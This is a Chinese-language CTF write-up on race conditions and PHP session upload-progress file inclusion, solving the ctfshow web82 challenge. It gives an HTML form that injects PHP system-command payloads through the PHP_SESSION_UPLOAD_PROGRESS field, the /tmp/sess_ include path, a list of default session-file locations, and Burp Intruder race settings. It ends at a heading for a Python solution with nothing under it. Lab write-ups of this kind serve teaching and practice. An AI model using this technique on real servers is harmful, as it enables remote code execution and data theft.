条件竞争漏洞概述

条件竞争原理

  • 生活类比理解:想象去银行取钱,银行柜台只有一个窗口办理取款业务,有很多人排队取钱。正常情况下,工作人员会按顺序办理业务。但如果没有维持好秩序,有几个人同时挤到窗口前,都递上银行卡说要取钱,这时候就可能乱套了。在计算机程序里,也有类似情况。程序就像银行的业务处理系统,不同的操作请求就像排队取钱的人,当多个操作请求(线程)同时去访问和修改同一个资源(比如共享变量、文件、数据库记录 ),而且没有合理的控制顺序和保护机制时,就会出现条件竞争。
  • 技术原理:在程序运行中,开发者一般希望代码按顺序一条一条执行。但在多线程或多进程的环境下,服务器会并发处理多个请求。如果没有使用合适的同步机制(像锁,它能保证同一时间只有一个线程能访问某个资源 ),这些并发的线程就可能同时操作共享资源,导致结果不可预测。比如两个线程同时读取一个变量的值,然后都对这个值进行修改再写回去,最后保存的值可能不是预期的,因为它们互相干扰了。

条件竞争漏洞的利用

  • 以文件上传为例: 有些网站允许用户上传文件,服务器会先检查文件是否符合要求(比如只允许上传图片格式文件 ),如果不符合就删除。在检查和删除之间有个时间差,这就是 “竞争窗口” 。攻击者可以利用这个时间差,快速多次发送上传恶意文件(比如包含恶意代码的 PHP 文件 )的请求。因为服务器在同一时刻可能处理不过来这么多请求,在还没来得及删除不符合要求的文件时,攻击者就可能成功访问到这个恶意文件并让它执行,进而在服务器上植入后门,获取对服务器的控制。类似于DDOS攻击,当请求发送得太多,服务器可能会漏掉一些恶意文件的上传请求,从而导致恶意文件被发送在服务器中造成后门漏洞。
  • 以电商场景为例:电商平台有库存和优惠码使用的限制。比如一件商品库存只有 1 件,正常情况一个用户下单后库存就变为 0,其他用户不能再买。但如果存在条件竞争漏洞,攻击者可以同时发送多个购买请求。服务器在处理这些请求时,可能因为竞争条件,多个请求都读到库存为 1,然后都认为可以购买,这样就可能超卖。还有优惠码,假设一个优惠码只能用一次,攻击者通过并发请求,利用竞争条件,可能多次使用这个优惠码来获得折扣。
  • 为什么这道题会有条件竞争的漏洞利用,首先,题目为文件包含问题,需要文件的上传,另外,php.ini中有设置ession.upload_progress.cleanupOn,所以文件上传成功后的与文件上传有关的数据会被清楚,所以需要条件竞争来使我们的恶意代码得以上传成功。

关于PHP_SESSION_UPLOAD_PROGRESS

进度信息存储

当 PHP 配置项 session.upload_progress.enabled 开启(默认开启 ),且表单中存在名为 PHP_SESSION_UPLOAD_PROGRESS 的字段。

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ctfshow web82</title>
</head>
<body>
<form action="https://3eec37db-3437-4824-8025-44427d3d0643.challenge.ctf.show/" method="post">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval('ls');?>"><!--这里将name设置为PHP_SESSION_UPLOAD_PROGRESS,这里就会把文件上传进度相关数据存放在数组$_SESSION中-->
<input type="file" name="file" value="选择攻击文件"/>
</br>
</br>
<input type="submit" name="submit" value="提交"/>

</form>>
</body>
</html>
  • 同时进行文件上传操作时,PHP 会将文件上传进度相关信息存储到会话(session )中。

  • PHP 会在 $_SESSION 中添加一组数据,其索引由 session.upload_progress.prefixsession.upload_progress.name 连接而成。

  • 例如,若 session.upload_progress.prefixupload_progress_session.upload_progress.namemy_upload

    那么在会话中存储上传进度信息的索引可能类似:

    upload_progress_my_upload 。这组数据包含文件上传的开始时间(start_time )、POST 数据长度(content_length )、已接收并处理的字节数(bytes_processed )、是否完成(done ) ,以及每个上传文件的详细信息(如字段名 field_name 、文件名 name 、临时文件名 tmp_name 、错误码 error 等 ) 。

关于”PHP_SESSION_UPLOAD_PROGRESS”字段的进一步理解阐述

PHP_SESSION_UPLOAD_PROGRESS 作为标识符号

PHP_SESSION_UPLOAD_PROGRESS 这个 name 字段就如同一个特殊的 “开关” 或者 “标识符号”。当 session.upload_progress.enabled 配置项开启时,PHP 脚本在运行过程中一旦检测到表单里存在 name="PHP_SESSION_UPLOAD_PROGRESS" 的字段,就会开启文件上传进度跟踪功能。

对文件上传操作数据的记录

一旦识别到 PHP_SESSION_UPLOAD_PROGRESS 字段,PHP 会自动记录该脚本里所有文件上传操作的数据。这些数据涵盖了文件上传的各个方面,例如已上传的字节数、文件的总大小、上传起始时间、上传文件的字段名、文件名、临时文件名等。借助这些信息,开发者能够实时掌握文件上传的进度。要是表单中没有这个特定的 name 字段,即便 session.upload_progress.enabled 处于开启状态,PHP 也不会自动对文件上传字段的数据进行记录。

数据一同记录在 $_SESSION 变量中

除了记录文件上传的进度信息,设置了 name="PHP_SESSION_UPLOAD_PROGRESS" 的字段对应的值也会和文件上传数据一起被记录到 $_SESSION 变量中。在会话中,PHP 会依据 session.upload_progress.prefix(默认是 upload_progress_)和 PHP_SESSION_UPLOAD_PROGRESS 字段的值来生成一个键名,然后把上传进度信息以及该字段的值存储在这个键名对应的会话数据里。

示例说明

以下是一个简单示例,能够帮助你更好地理解上述机制:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="my_upload">
<input type="file" name="my_file">
<input type="submit" value="上传文件">
</form>
</body>
</html>

upload.php 脚本中:

1
2
3
4
5
6
7
8
9
<?php
session_start();
// 获取上传进度信息
$upload_key = ini_get('session.upload_progress.prefix') . 'my_upload';
if (isset($_SESSION[$upload_key])) {
$upload_progress = $_SESSION[$upload_key];
print_r($upload_progress);
}
?>

在这个例子里,表单中存在 name="PHP_SESSION_UPLOAD_PROGRESS" 字段,其值为 my_upload。当用户提交表单上传文件时,PHP 会记录文件上传进度信息,并将其和 my_upload 关联起来存储在 $_SESSION 中。在 upload.php 脚本里,通过生成对应的键名 upload_progress_my_upload 就可以获取上传进度信息。

关于value值的解析

1
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval(system('ls'));?>"><!--这里被解析出来了-->
  • php解析器解析的时候,即使这是一个html语言,value中的值即使为字符串形式的值,也会被解析为php代码。

关于为什么要设置唯一的PHPSESSION

  • 我们需要来明确:条件竞争漏洞的出现条件。

  • 简单来说:当一个会话收到多个请求的话,就会出现该会话难以一次性处理繁多请求的情况,导致文件上传数据的可能没来得及被清除,就会被php读取。导致恶意代码被读取执行。

  • 详细来说:

  • 当一个会话接收到多个并发请求时,服务器处理这些请求的过程并非完全顺序执行,而是会存在时间上的重叠和交错。在文件上传场景下,尤其是开启了 session.upload_progress.cleanup = on 配置时,服务器会在文件上传完成后立即清空会话文件内容。

    然而,由于高并发请求导致服务器资源竞争,处理请求的时间变得不确定。比如,一个请求正在往会话文件里写入包含恶意代码的 PHP_SESSION_UPLOAD_PROGRESS 数据,而另一个请求可能在服务器还没来得及清空这个会话文件时,就开始读取该文件内容。这样一来,就出现了请求之间的 “竞争” 情况,使得包含恶意代码的会话文件数据有机会被 PHP 读取并执行,从而触发漏洞。

  • 另外:

  • PHPSESSION可以标识唯一的会话id,方便攻击者对文件进行定位文件并且确定唯一会话。

解析文件包含中的session文件和$_SESSION变量的联系

  • 比如如下例题:
  • ctfshow web82
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
  • 这里的关键点就是:$file = str_replace(".", "???", $file);这里把文件中的.即用于标识文件后缀的点号给过滤了,而在文件包含题目中,只有session即日志文件没有后缀,所以我们这道题明显需要使用session即会话文件进行文件上传的操作

  • 首先了解名为PHPSESSIONcookie标识了session日志文件的名字,其路径一般为:?file=/tmp/sess_xxx,而PHPSESSION的名字就代表xxx,比如取名:test,那么session文件名字为:sess_test

  • 如何在sess_test即日志文件中写入代码让命令攻击得以进行?我们就需要条件竞争漏洞,通过键值为PHP_UPLOAD_PRGRESS的字段将value上传至$_SESSION中的指定键中,就可以将代码·1送入sess_test这个文件中

  • 我们再在url中传入:/?file/tmp/sess_test这个paylaod就会让恶意代码得到执行。

  • 关于PHPSESSION的cookie文件、服务器会话文件sess_xxx,以及$_SESSION之间的联系:

具体例题分析

web82(bp解法)

  • 该题源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
  • 可见该题将传入的payloads中的.符号给过滤掉了,明显我们就需要一个无后缀的文件进行文件上传并受到include的解析,得以使得文件包含可以被执行。

  • 步奏一:
    构建如下php脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>ctfshow web82</title>
    </head>
    <body>
    <form action="https://c3b6f538-fc7c-43b8-b886-82c377c5e370.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval(system('ls'));?>"/><!--这里被解析出来了-->
    <input type="file" name="file" value="选择攻击文件"/>
    </br>
    </br>
    <input type="submit" name="submit" value="提交"/>
    </form>
    </body>
    </html>

    <?php
    session_start();
    ?>
  • 脚本详解:该脚本对目标靶场地址提交一个文件,在提交文件的同时将隐藏字段的value也一同提交,该value就是我们想要对服务器进行操作的恶意指令,服务器软件通过namePHP_SESSION_UPLOAD_PROGRESS字段的识别,可以得知该隐藏字段的值会序列化并提交到sess_xxx,即会话文件中,(注意,namePHP_SESSION_UPLOAD_PROGRESS的字段本质上是要把该字段的值提交到,储存文件上传进度相关数据的文件中),**该sess_xxx**文件又会被包含,即被解析,并且没有后缀名,那么,我们就可以通过包含这个会话文件使得恶意代码得到执行。

  • 关于会话文件详解:

    • 如何创建会话文件?
      我在上文的基础概念的讲解中有提到,名为PHPSESSIDCookie的值就为会话文件sess_xxx文件名中xxx一段代表的值
      比如:
      我设置PHPSESSID的值为mmk,那么该会话文件的名称为sess_mmk,根据会话文件的路径:

      • 关于session文件默认的路径有以下几种:

        1
        2
        3
        4
        /var/lib/php/sess_PHPSESSID
        /var/lib/php/sessions/sess_PHPSESSID
        /tmp/sess_PHPSESSID
        /tmp/sessions/sess_PHPSESSID
      • 此题的默认路径为:/tmp/sess_PHPSESSID

    • 我们就可以输入payloads:/?file=/tmp/sess_mmk;对文件进行包含让服务器读取其中的恶意代码。

所以总的来说,逻辑如下:

  • 1.首先执行恶意脚本并对其进行抓包

    且记得写入一个名称为PHPSESSIDCookie,名称为该值的Cookie会在默认会话文件路径下创建一个会话文件。用于文件包含。

  • 2.制造文件访问请求:
    由于我们已经使用cookie创建过指定名称的会话文件,此时传入值为/?file=/tmp/sess_name;的payloads,制造对会话文件的访问请求,如下图所示:

  • 可见GET请求头已经传入相关路径。

  • 3.高频发送数据包
    将burpsuit按如下方式进行设置,通过高频发送传入数据和访问文件的请求,制造条件竞争环境:
    对于会话数据(即恶意代码)的高频传入:

  • 将抓住的文件上传脚本数据包传入bp的intruder模块,设置payloads为Null,并且设置为continue indefinitely,不断发送请求

  • 新建资源池,设置线程为30:

    img
  • 设置完成后,先不立即开始攻击

  • 对于文件访问请求攻击的制造,使用相同的操作流程,唯一不同之处:
    将线程数设置为80,访问请求比数据传入请求线程更高,更容易访问包含到恶意文件从而执行恶意代码

    img
  • **之后操作一定要快,先启动设置好的文件上传请求后立刻开启设置好的文件访问请求,**观察文件访问请求的字段长度:

    3e76116f587f22d28f54b3a9ad5c4372
  • 可以发现一个字段长度明显与其他字段长度不同的结果,这张截图是最终结果,即使用cat指令对对于文件进行抓取读取其中的信息。

  • 我们正常的流程应该是先设置valuevalue="<?php eval(system('ls'));?>"列出当前服务器下的文件列表:

    7103cdbecd2eb2456ffbe9dbef901ce9
  • 可见,我们要抓取的文件名为:upload_prgress_fl0g.php,所以我们的抓取目标为fl0g.php
    存疑:为什么是抓取fl0g.php而不是完整的upload_progress_fl0g.php

  • 再设置valuevalue="<?php eval(system('cat fl0g.php'));?>"对指定文件进行抓取:获取上文我们发现的flag

web82(python脚本解法)